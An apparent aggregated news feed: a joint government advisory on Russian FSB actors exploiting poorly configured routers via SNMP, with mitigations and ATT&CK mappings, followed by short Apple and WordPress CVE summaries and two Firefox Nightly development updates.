Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at productcert@siemens.com. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at services.automation@siemens.com. See Siemens ProductCERT and Siemens CERT for more information.

Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.
Version History
April 7, 2026: Initial version.
July 22, 2026: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.
Notes
¹Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.
²See CompactLogix 5370 Controllers (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.


Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting
Sat, 25 Jul 2026 08:51:21 +0200
Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors
Executive summary
Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [1] 
This CSA is being released by the following authoring and co-sealing agencies: 

United States National Security Agency (NSA)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Federal Bureau of Investigation (FBI)
United States Department of Defense Cyber Crime Center (DC3)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹ 
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³ 
Estonian Information System Authority (RIA)⁴
Finnish Defence Intelligence (FDI)⁵
Finnish Security and Intelligence Service (SUPO)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
The Military Counterintelligence Service of Poland (SKW)¹⁰
Sweden National Cyber Security Centre (NCSC-SE)¹¹

The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.




  
      




      Figure 1: FSB Center 16 activity and recommended mitigation actions
  
Download the PDF version of this report:

Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting (PDF, 816KB)

Cybersecurity industry tracking 
The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: 

Berserk Bear 
Energetic Bear
Crouching Yeti 
Dragonfly
Ghost Blizzard
Static Tundra

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.
Targeting details
Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:

Communications,
Defense Industrial Base,
Energy,
Financial Services,
Government Services and Facilities, especially organizations at the state and local level, and
Healthcare and Public Health.

Technical details
Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise¹² framework, version 19. See Appendix A for tables of the activity mapped to MITRE ATT&CK tactics and techniques. This advisory also uses MITRE DEFEND^TM version 1.4.0.
The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [T1595.001, T1595.002]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [T1027] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [T1569, T1602.001, T1090]:

Copy its configuration to a file, often called “config.bkp” or “output.txt” [T1003, T1602.002].
Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [T1583.003, T1090, T1071, T1048].

While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [T1584.008, T1588.005, T1190, T1068]: 

CVE-2018-0171
CVE-2008-4128¹³

Many of these TTPs overlap with activity by other malicious cyber actors, such as Salt Typhoon. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.
Mitigation actions
The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:

Disable Cisco Smart Install on all devices [D3-ACH]. [2]
Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [D3-ACH]. [3]

Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.
SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [D3-MAN, D3-MENCR].


Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [D3-CH].

Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [4]
Monitor for unusual credentials that do not conform to standard organizational naming conventions [D3-PM]. 
 Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [3]


Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [D3-ACH]. [5] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [D3-PM].


Example OIDs include:

1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)
1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) 




Restrict management protocols [D3-NTF].

Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [3]
On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:

User Datagram Protocol (UDP) port 69 (TFTP) 
Transmission Control Protocol (TCP) port 4786 (SMI)
UDP ports 161 and 162 (SNMP)
TCP/UDP ports 10161 and 10162 (SNMPv3)




Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. 


Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [D3-NVA].

U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost Cyber Hygiene services.
U.S. Defense Industrial Base organizations should consider signing up for NSA’s DIB Cybersecurity Services.





Resources
United States:

Russia Threat Overview and Advisories
Network Infrastructure Security Guide

Canada:

Routers cyber security best practices (ITSAP.80.019)
Security considerations for edge devices (ITSM.80.101)
Guidance on securely configuring network protocols (ITSP.40.062)
Baseline security requirements for network security zones (ITSP.80.022)
Top 10 IT security actions to protect Internet-connected networks and information (ITSM.10.089)

Works cited
[1] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. https://www.ic3.gov/PSA/2025/PSA250820
[2] NSA. Cisco Smart Install Protocol Misuse. 2017. https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF
[3] NSA. Network Infrastructure Security Guide. 2023. https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF
[4] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF
[5] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF
Footnotes
¹Národní úřad pro kybernetickou a informační bezpečnost
² Forsvarets Efterretningstjeneste
³ Välisluureamet
⁴ Riigi Infosüsteem Amet
⁵ Sotilastiedustelu
⁶ Suojelupoliisi
⁷ Agence nationale de la sécurité des systèmes d’information
⁸ Agenzia Informazioni e Sicurezza Esterna
⁹ Agenzia Informazioni e Sicurezza Interna
¹⁰ Służba Kontrwywiadu Wojskowego
¹¹ Nationellt Cybersäkerhetscenter
¹²MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.
¹³ CVE-2008-4128 only affects end-of-life Cisco devices.
Disclaimer of Endorsement
The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.
Purpose
This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
Contact
United States organizations

National Security Agency (NSA)

Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov


Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI)

 U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s Incident Reporting System, its 24/7 Operations Center (report@cisa.gov or 888-282-0870), or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. 


United States Department of Defense Cyber Crime Center (DC3)  

Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil.
 Media Inquiries / Press Desk: DC3.Information@us.af.mil



Australian organizations

Australian Signals Directorate

Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.



Canadian organizations

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 

Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788).



New Zealand organizations

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz

United Kingdom organizations

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7)

Estonia organizations

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee

Finnish organizations

Finnish Security and Intelligence Service: supo.fi/en/contact

French organizations

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Italian External Intelligence and Security Agency (AISE): 

Visit https://www.sicurezzanazionale.gov.it/ 


Italian Internal Intelligence and Security Agency (AISI): 

Visit https://www.sicurezzanazionale.gov.it/ 



Appendix A: MITRE ATT&CK tactics and techniques
See Table 1 through Table 10 for all the threat actor tactics and techniques referenced in this advisory.

Table 1: Reconnaissance



Technique Title


ID


Use





Active Scanning: Scanning IP Blocks
T1595.001
Scan range of IP addresses


Active Scanning: Vulnerability Scanning
T1595.002
Scan victims for vulnerabilities that can be used during targeting




Table 2: Resource Development



Technique Title


ID


Use





Acquire Infrastructure: Virtual Private Servers 
T1583.003 
Leverage VPS as infrastructure 


Compromise Infrastructure: Network Devices 
T1584.008 
Compromise intermediate routers 


Obtain Capabilities: Exploits 
T1588.005 
Use publicly available code to exploit vulnerable devices 




Table 3: Initial Access



Technique Title


ID


Use





Exploit Public-Facing Application 
T1190 
Exploit publicly known CVEs 


Proxy
T1090
Use a connection proxy to direct network traffic 




Table 4: Execution



Technique Title


ID


Use





System Services
T1569
Executing commands via SNMP




Table 5: Privilege Escalation



Technique Title


ID


Use





Exploitation for Privilege Escalation
T1068
Exploit publicly known CVEs for escalated privileges




Table 6: Stealth



Technique Title


ID


Use





Obfuscated Files or Information
T1027
Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses




Table 7: Credential Access



Technique Title


ID


Use





OS Credential Dumping
T1003
Collect router configuration with weak Cisco Type 7 passwords and Type 0




Table 8: Collection



Technique Title


ID


Use





Data from Configuration Repository: SNMP (MIB Dump) 
T1602.001 
Target MIB to collect network information via SNMP 


Data from Configuration Repository: Network Device Configuration Dump
T1602.002
Acquire credentials by collecting network device configurations




Table 9: Command and Control



Technique Title


ID


Use





Proxy 
T1090 
Use VPS for C2 


Application Layer Protocol 
T1071 
Open and expose a variety of different services, including TFTP and FTP




Table 10: Exfiltration



Technique Title


ID


Use





Exfiltration Over Alternative Protocol
T1048
Exfiltrating over a different protocol than that of the existing command and control channel. 



Appendix B: MITRE D3FEND countermeasures
See Table 11 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 11: MITRE D3FEND Countermeasures



Countermeasure Title


ID


Description





Application Configuration Hardening
D3-ACH


Use SNMPv3 and disable SNMPv1 and SNMPv2. 
Use SNMP allowlisting to restrict access to OIDs and MIBs. 
Disable Cisco Smart Install.




Message Authentication
D3-MAN


Use SNMPv3 with strong authentication.




Message Encryption
D3-MENCR


Use SNMPv3 to encrypt payloads.




Credential Hardening
D3-CH


Use strong, unique passwords and store them securely.




Platform Monitoring
D3-PM


Monitor for unusual credentials. 
Monitor SNMP Set-Requests for OIDs targeting sensitive device data.




Network Traffic Filtering
D3-NTF


Use ACLs to only allow management protocols from management devices. 
Block TFTP, SMI, and SNMP at edge firewalls.




Network Vulnerability Assessment
D3-NVA


Use an attack surface management service.







CVE-2025-30440 | Apple macOS up to 13.6/14.6/15.4 memory corruption (EUVD-2025-14800)
Sat, 25 Jul 2026 08:41:20 +0200
A vulnerability was found in Apple macOS up to 13.6/14.6/15.4. It has been classified as critical. This affects an unknown function. Performing a manipulation results in memory corruption.

This vulnerability is identified as CVE-2025-30440. The attack is only possible with local access. There is not any exploit available.

Upgrading the affected component is recommended.


CVE-2025-31251 | Apple iOS/iPadOS Media File denial of service (EUVD-2025-14771)
Sat, 25 Jul 2026 08:41:16 +0200
A vulnerability classified as problematic was found in Apple iOS and iPadOS. The impacted element is an unknown function of the component Media File Handler. Such manipulation leads to denial of service.

This vulnerability is documented as CVE-2025-31251. The attack can be executed remotely. There is not any exploit available.

Upgrading the affected component is advised.


CVE-2025-31251 | Apple tvOS Media File denial of service (EUVD-2025-14771)
Sat, 25 Jul 2026 08:41:12 +0200
A vulnerability described as problematic has been identified in Apple tvOS. Impacted is an unknown function of the component Media File Handler. The manipulation results in denial of service.

This vulnerability is cataloged as CVE-2025-31251. The attack may be launched remotely. There is no exploit available.

Upgrading the affected component is recommended.


CVE-2025-31251 | Apple macOS Media File denial of service (EUVD-2025-14771)
Sat, 25 Jul 2026 08:41:08 +0200
A vulnerability classified as problematic has been found in Apple macOS. The affected element is an unknown function of the component Media File Handler. This manipulation causes denial of service.

This vulnerability is registered as CVE-2025-31251. Remote exploitation of the attack is possible. No exploit is available.

It is recommended to upgrade the affected component.


CVE-2025-31226 | Apple tvOS Image Parser denial of service (EUVD-2025-14778)
Sat, 25 Jul 2026 08:41:04 +0200
A vulnerability was found in Apple tvOS. It has been classified as problematic. This vulnerability affects unknown code of the component Image Parser. This manipulation causes denial of service.

The identification of this vulnerability is CVE-2025-31226. It is possible to initiate the attack remotely. There is no exploit available.

Upgrading the affected component is recommended.


CVE-2025-31251 | Apple visionOS Media File denial of service (EUVD-2025-14771)
Sat, 25 Jul 2026 08:41:00 +0200
A vulnerability, which was classified as problematic, has been found in Apple visionOS. This affects an unknown function of the component Media File Handler. Performing a manipulation results in denial of service.

This vulnerability is reported as CVE-2025-31251. The attack is possible to be carried out remotely. No exploit exists.

It is advisable to upgrade the affected component.


CVE-2025-31251 | Apple watchOS Media File denial of service (EUVD-2025-14771)
Sat, 25 Jul 2026 08:40:56 +0200
A vulnerability, which was classified as problematic, was found in Apple watchOS. This impacts an unknown function of the component Media File Handler. Executing a manipulation can lead to denial of service.

This vulnerability appears as CVE-2025-31251. The attack may be performed from remote. There is no available exploit.

You should upgrade the affected component.


CVE-2025-31226 | Apple iOS/iPadOS Image Parser denial of service (EUVD-2025-14778)
Sat, 25 Jul 2026 08:40:52 +0200
A vulnerability was found in Apple iOS and iPadOS. It has been rated as problematic. Impacted is an unknown function of the component Image Parser. Performing a manipulation results in denial of service.

This vulnerability is identified as CVE-2025-31226. The attack can be initiated remotely. There is not any exploit available.

Upgrading the affected component is advised.


CVE-2025-31226 | Apple visionOS Image Parser denial of service (EUVD-2025-14778)
Sat, 25 Jul 2026 08:40:47 +0200
A vulnerability categorized as problematic has been discovered in Apple visionOS. The affected element is an unknown function of the component Image Parser. Executing a manipulation can lead to denial of service.

This vulnerability is tracked as CVE-2025-31226. The attack can be launched remotely. No exploit exists.

It is advisable to upgrade the affected component.


CVE-2025-31226 | Apple macOS Image Parser denial of service (EUVD-2025-14778)
Sat, 25 Jul 2026 08:40:42 +0200
A vulnerability was found in Apple macOS. It has been declared as problematic. This issue affects some unknown processing of the component Image Parser. Such manipulation leads to denial of service.

This vulnerability is referenced as CVE-2025-31226. It is possible to launch the attack remotely. No exploit is available.

It is recommended to upgrade the affected component.


CVE-2025-3281 | User Registration & Membership Plugin up to 4.2.1 on WordPress create_stripe_subscription resource injection (EUVD-2025-13565)
Sat, 25 Jul 2026 08:40:35 +0200
A vulnerability labeled as critical has been found in User Registration & Membership Plugin up to 4.2.1 on WordPress. The impacted element is the function create_stripe_subscription. Executing a manipulation can lead to improper control of resource identifiers.

The identification of this vulnerability is CVE-2025-3281. The attack may be launched remotely. There is no exploit available.


CVE-2025-24225 | Apple iOS/iPadOS ui layer (EUVD-2025-14859)
Sat, 25 Jul 2026 08:40:30 +0200
A vulnerability classified as problematic has been found in Apple iOS and iPadOS. This impacts an unknown function. The manipulation leads to improper restriction of rendered ui layers.

This vulnerability is referenced as CVE-2025-24225. Remote exploitation of the attack is possible. No exploit is available.

It is recommended to upgrade the affected component.


CVE-2025-31226 | Apple watchOS Image Parser denial of service (EUVD-2025-14778)
Sat, 25 Jul 2026 08:40:26 +0200
A vulnerability identified as problematic has been detected in Apple watchOS. The impacted element is an unknown function of the component Image Parser. The manipulation leads to denial of service.

This vulnerability is listed as CVE-2025-31226. The attack may be initiated remotely. There is no available exploit.

You should upgrade the affected component.


Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204
Sat, 25 Jul 2026 08:37:31 +0200
Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.

You can try it out on this Instagram reel in Nightly





A note to WebExtension authors – as part of a planned deprecation announced last month, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 – Bug 2015559
Nicolas Chevobbe [:nchevobbe] added support and debugging for modern attr()(which is enabled on Nightly) (#2014751)


Friends of the Firefox team
Resolved bugs (excluding employees)
Script to find new contributors from bug list
Volunteers that fixed more than one bug

Sam Johnson
Sebastian Zartner [:sebo]

New contributors (🌟 = first patch)

Immaculate Atim: Switch to using an array instead of an object string for browser.backup.enabled_on.profiles
liz: Screenshots overlay visible on both splitview browsers
🌟 Rahman Mahmutović [:r_m]: Can’t change content in box model in inspector for box-sizing:border-box elements
Takeru Mitsumori: Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html
🌟 Freya Arbjerg [:freyacodes]: Blackboxed columns are ignored
 tom.passarelli: tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide

Project Updates
Add-ons / Web Extensions
Addon Manager & about:addons

As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page – Bug 1881767

WebExtensions Framework

Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features – Bug 1745823
Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) – Bug 1904054

Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.



WebExtension APIs

Fixed handling of  as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install – Bug 1758306

DevTools

Rahman Mahmutović [:r_m] made it possible to edit width/height in the box model section of the Layout panel (#1717176)
Sebastian Zartner [:sebo] improved toggling tools driving in-page highlighters (e.g. the Measuring) (#1262773)
Sebastian Zartner [:sebo] added a setting to control visibility of HTML comments in the markup view (#1455294)
Freya Arbjerg [:freyacodes] fixed an issue in script blackboxing (#2036767)
Alexandre Poirot [:ochameau] replaced custom preference to log RDP messages with MOZ_LOG (#1622857)
Alexandre Poirot [:ochameau] fixed retrieval of garbage collected script text content (#1758454)

WebDriver

Sameem updated the “Take Element Screenshot” command from WebDriver Classic to crop screenshots of elements which exceed the viewport. This aligns with the specification and avoids errors when attempting to capture huge elements.
Alexandra Borovova updated the events for new top-level browsing contexts: we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used. This is required to align with the expected per-spec behavior.
Henrik Skupin landed a patch allowing geckodriver to gracefully shut down Firefox when geckodriver itself is terminated.
Hiroyuki Ikezoe disabled Firefox’s “scroll axis lock” feature so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.

Lint, Docs and Workflow

Added a rule to prevent new uses of Preferences.sys.mjs.
The browser environment globals within ESLint have now been updated. These include Sanitizer, VideoFrame and a few other new ones.
Temporal, and some other definitions have been added to TypeScript.

New Tab Page

Much has happened in the last 2 weeks! Here’s a full bug list, and here are some highlights.
Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (2033592) — prevents accidental list creation and improves the Lists UI reliability.
Maxx Crawford fixed Weather widget small card layout issues with opt-in location options and an error message displayed, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.
Reem Hamoui added key dates state to the Sports widget, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.
Scott Downe added a manage widgets option to the New Tab nova widgets context menu, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.
Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see Newtab widget base component.
Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see Convert widget expansion handling to shared widget expansion.
Nina Pypchenko [:nina-py] updated the Sports widget to populate the “follow teams” state from the /teams endpoint, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.
Scott Downe moved widget menu items within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.
Dre fixed a World Clock city search bug for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.
Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see Newtab small weather widget size change doesn’t always work.
Nina Pypchenko [:nina-py] added a group stage section to match highlights in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.
Dre fixed the small world clock widget not expanding to large while editing clocks so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.
Maxx Crawford added WCW OMC message strings so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.
Reem Hamoui added a “View all” button and a list view for the results tab at medium widget size so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.
Maxx Crawford added WCW “Watch Live” stream strings to the Sports widget strings bundle so the widget can surface a localized “Watch Live” CTA for applicable events.
Dre restored VoiceOver reachability for Edit/Remove in World Clock on macOS so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.
Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (2041033).
Mike Conley added New Tab jest tests to the node tests Tier 1 CI job Run newtab jest tests as part of node tests Tier 1 job to catch regressions earlier in CI
Irene Ni shipped multiple visual fixes for the Sports widget Sports widget – various visual fixes (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.

Picture-in-Picture

kpatenio adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably, especially when selecting videos from the YouTube search page.
Thanks to Sylvestre for patching some bugs to prevent some spurious console errors!
Niklas fixed captions on autopip videos failing to sync with the origin videos.

Performance Tools (aka Firefox Profiler)

Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.

https://www.npmjs.com/package/@firefox-devtools/profiler-cli
You can install it with npm install -g @firefox-devtools/profiler-cli@latest



Search and Urlbar
Nova UI refresh

Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.
2019154, 2019152, 2041501, 2040532

Suggest

Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.
2040561, 2039753, 2035614, 2038843

Adaptive autofill

James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.
2040819, 2037177

Quick actions

Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.
Caleb added Calculator support for certain unicode operators.
2023169, 1928635, 1923383, 2033861

Multi Context Address Bar

Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.
2039297, 2036095, 2039844, 2037933, 2030050

Other

Marco, Drew and Daisuke fixed several intermittent test failures.
2038510, 2023908, 2011584, 1938142, 1971091

Search

Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from resource://search-extensions/.
Caleb fixed multiple documentation issues and added a test covering searches from a private window.
1904613, 2035878, 2037942, 2033545, 2005724

Places

Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.
Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.
2039534, 1505800, 2008829, 2029541, 2035084






Firefox Nightly: Eyedropper Quick Action, geckodriver 0.37, and Tighter File Permissions – These Weeks in Firefox: Issue 205
Sat, 25 Jul 2026 08:37:28 +0200
Highlights

Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (Bug 1803575) on Nightly.



Henrik Skupin released geckodriver 0.37.0, which includes support for several new APIs and various bug fixes. See the release page for details.
Starting from Firefox 153, access to local file: URLs is being restricted by default.

Extensions now require an explicit “Access local files on your computer” permission, separate from broad host permissions, that users must grant.
Extensions can call the extension.isAllowedFileSchemeAccess() API to determine whether they have been granted access to file: URLs (Bug 2034168).



Friends of the Firefox team
Resolved bugs (excluding employees)
Script to find new contributors from bug list
Volunteers that fixed more than one bug

:Vincent
Chris Vander Linden
DrSeed
Khalid AlHaddad
Sam Johnson

New contributors (🌟 = first patch)

Francis :mckenfra: tld service for webextensions
any1here: about:preferences#privacy is broken with MOZ_DATA_REPORTING false
pullmana8: Fix protocol/Actor.js to throw an Error instead of an Actor
RAN1: Firefox Crashes on Quit When Running Two Browsers With Separate Profiles

Project Updates
Accessibility

Morgan added a new accessibility-specific, front-end review skill to mozilla central! 🎉 You can read about it, and learn how to use it in the accessibility review source docs.

Add-ons / Web Extensions
Addon Manager & about:addons

Migrated addon-page-header and addon-card action buttons to the reusable moz-button web component as part of the ongoing Nova restyling of about:addons – Bug 2042200 / Bug 2042204
Extended moz-page-nav-button with a forwarded title property to fix an accessibility issue where the component lacked a label in collapsed state; Landed in Firefox 153, and uplifted to Firefox 152 for about:settings which was already riding the 152 release train – Bug 2040971
Fixed a shutdown-timing bug where a pending GMP update-check timer could fire after XPCOMShutdownThreads started, causing a pref write assertion; Fixed in Firefox 153 – Bug 2043803

WebExtensions Framework

Fixed MV2 content scripts incorrectly injecting into guarded hosts because MozDocumentMatcher::MatchesURI was not consulting CheckGuarded when mCheckPermissions was false; Fixed in Firefox 153 – Bug 2041393
